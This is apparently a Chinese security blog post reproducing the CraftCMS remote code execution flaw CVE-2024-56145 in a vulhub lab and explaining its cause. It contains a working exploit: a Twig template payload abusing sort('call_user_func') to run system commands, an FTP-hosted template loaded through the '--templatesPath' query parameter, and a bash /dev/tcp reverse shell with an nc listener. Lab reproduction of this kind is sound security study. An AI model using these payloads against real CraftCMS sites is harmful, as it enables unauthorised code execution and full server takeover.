Logo Neo93
CraftCMS register_argc_argv导致远程代码执行漏洞(CVE-2024-56145)

CraftCMS register_argc_argv导致远程代码执行漏洞(CVE-2024-56145)

January 5, 2025
3 min read
Table of Contents

0x01 漏洞介绍

CraftCMS 是一个基于PHP的内容管理系统,用于构建网站和应用程序。

CraftCMS 5.5.2 和 4.13.2 之前的版本存在潜在的远程代码执行漏洞,当PHP环境启动 registry_argc_argv 时,CraftCMS 会错误的从 HTTP 请求中读取配置项,攻击者可以使用 --templatesPath 控制模板文件,并利用模板注入导致任意代码执行。

0x02 漏洞环境

使用 vulhub 启动一个 CraftCMS 5.5.1.1 服务器:

neo@dockerserver:/opt/vulhub$ cd craftcms/CVE-2024-56145/
neo@dockerserver:/opt/vulhub/craftcms/CVE-2024-56145$ ll
total 208
drwxr-xr-x 2 neo neo   4096 Jan  4 08:06 ./
drwxr-xr-x 3 neo neo   4096 Jan  4 08:06 ../
-rwxr-xr-x 1 neo neo 139213 Jan  4 08:06 1.png*
-rwxr-xr-x 1 neo neo  45968 Jan  4 08:06 2.png*
-rwxr-xr-x 1 neo neo    203 Jan  4 08:06 docker-compose.yml*
-rwxr-xr-x 1 neo neo     58 Jan  4 08:06 index.twig*
-rwxr-xr-x 1 neo neo   1831 Jan  4 08:06 README.md*
-rwxr-xr-x 1 neo neo   1594 Jan  4 08:06 README.zh-cn.md*
neo@dockerserver:/opt/vulhub/craftcms/CVE-2024-56145$ cat docker-compose.yml 
services:
 web:
   image: vulhub/craftcms:5.5.1.1
   depends_on:
    - db
   ports:
    - "8088:80"
 db:
   image: mysql:8.4
   environment: 
    - MYSQL_ROOT_PASSWORD=root
    - MYSQL_DATABASE=craftcms
sudo docker compose up -d

服务器启动之后,可以在 http://<ip>:8088/admin/install 看到安装的页面,按照说明安装 CraftCMS 即可,默认的数据库地址为 db,用户名和密码均为 root

CleanShot 2025-01-05 at 14.30.45@2x

安装完成后:

CleanShot 2025-01-05 at 14.34.25@2x

0x03漏洞复现

要复现这个漏洞,需要准备一个包含以下内容的 index.twig 文件,并将该文件放在任意的远程服务器上,文件内容如下:

{{ ['system', 'id'] | sort('call_user_func') | join('') }}

然后在该文件所在的服务器中启动一个FTP服务器,启动前需要安装Python依赖包

sudo pip3 install pyftplib
 
python3 -m pyftplib -p 21212 -V

接下来就可以发送以下请求来利用该漏洞

http://<ip>:8088/?--templatesPath=ftp://<remote-ip>:21212/

CleanShot 2025-01-05 at 14.46.29@2x

远程服务器端输出信息: CleanShot 2025-01-05 at 14.47.00@2x

尝试进一步利用,反弹shell,那么就需要修改一下 index.twig 的内容

{{ ['system', 'bash -c "bash -i >& /dev/tcp/接收shell的服务器IP/7788 0>&1"'] | sort('call_user_func') | join('') }}

在接收shell端的服务器执行如下命令开启端口监听:

nc -lvvp 7788

然后重新执行一下Exp,结果成功收到了shell:

CleanShot 2025-01-05 at 15.23.33@2x

收到了shell:

CleanShot 2025-01-05 at 15.23.58@2x

0x04 漏洞原理

4.1 环境配置与漏洞触发条件

register_argc_argv 配置:PHP的 register_argc_argv 配置项用于控制是否将命令行参数(argcargv )注册为全局变量,当 register_argc_argv 启用之后(Docker 的PHP环境默认开启 register_argc_argv选项),PHP会将命令行参数传递给脚本,也就是HTTP请求中的 query string,将会被赋值给 $_SERVER['argv']变量。

CraftCMS配置错误:CraftCMS 在处理HTTP请求的时候,错误的从请求中读取配置项,具体来说,攻击者可以通过HTTP请求中的 –templatesPath 参数来控制模板文件的路径。

4.2 攻击者控制模板路径

--templatesPath参数:攻击者可以通过HTTP请求中的 --templatesPath 参数指定模板文件的路径,这个参数会被 CraftCMS 错误的解析并用于加载模板文件。

模板文件加载:CraftCMS 根据 –templatesPath 参数指定的路径加载模板文件,如果攻击者能够控制这个路径,就可以指定一个恶意的模板文件。

4.3 模板注入和代码执行

执行的 twig 模板文件内容如下:

{{ ['system', 'id'] | sort('call_user_func') | join('') }}
  1. 模板解析:Twig 模板引擎会解析模板文件中的内容。
  2. 过滤器应用:Twig 模板中的代码使用了 Twig 的过滤功能,具体如下:
    • ['system', 'id']:创建了一个包含两个字符串的数组
    • sort('call_user_func'):是一个过滤器,它尝试对数组进行排序,然而,这里的 sort 过滤器被滥用,因为其允许传递一个回调函数call_user_func,这个回调函数会被应用到数组的每一个元素上。
    • join(''):将排序后的数组元素连接成一个字符串。
  3. 代码执行:由于 sort 过滤器允许传递回调函数, call_user_func 被应用到数组的每个元素上,call_user_func 是一个PHP函数,它允许调用用户定义的函数,在这种情况下,call_user_func 被用来调用 system 函数,并将 id 作为参数传递给它,因此,system('id')被执行。